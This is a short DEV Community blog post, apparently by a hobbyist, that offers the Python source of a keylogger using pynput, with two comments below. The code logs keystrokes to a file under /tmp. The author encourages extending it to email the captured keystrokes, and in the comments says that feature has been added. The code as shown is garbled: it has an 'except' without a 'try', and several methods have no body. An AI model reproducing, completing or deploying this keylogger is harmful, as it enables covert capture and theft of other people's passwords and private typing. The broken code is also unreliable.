DEV Community

Cover image for Keylogger in just 20 lines of code

Keylogger in just 20 lines of code

ablil profile image ablil ใƒป1 min read

I am sure you have already heard the term keylogger since you're a geek and you're visiting this website.

If you donโ€™t know, let me explain very quickly, a Keylogger as its name indicates, is a tool that captures your keystroke* and saves them somewhere.

If you're a pentester, I am sure you have such tools in your bag ๐Ÿ’ป.

We are using python as a scripting language and pynput library to capture keyboard events.

Here is the full code, exactly 20 lines, the code explains itself.

class Keylogger:                                                                          
    def __init__(self):                                                                   
        self.keylogs = '/tmp/keylogs.logs'                                                
        self.keylogsfile = open(self.keylogs, 'a+')                                       

    def callback(self, key):                                                              
        except AttributeError:                                                            
            special_key = str(key)                                                        
            if special_key == 'Key.enter':                                                
                special_key = '\n'                                                        
            if special_key == '':                                                
                special_key = ' '                                                         

    def run(self):                                                                        
        with keyboard.Listener(on_press=self.callback) as l:                       

    def stop(self):                                                                       
Enter fullscreen mode Exit fullscreen mode

If you have time, you could extend this code to send captured keystrokes via email periodically ๐Ÿ˜‰

Discussion (2)

Editor guide
arwazkhan189 profile image
Arwaz Khan

Good idea, I will try it in my free time.๐Ÿ™‚๐Ÿ‘

ablil profile image
ablil Author

I have added the option to send captured keystrokes via email, feel free to play around with it ๐Ÿ˜‰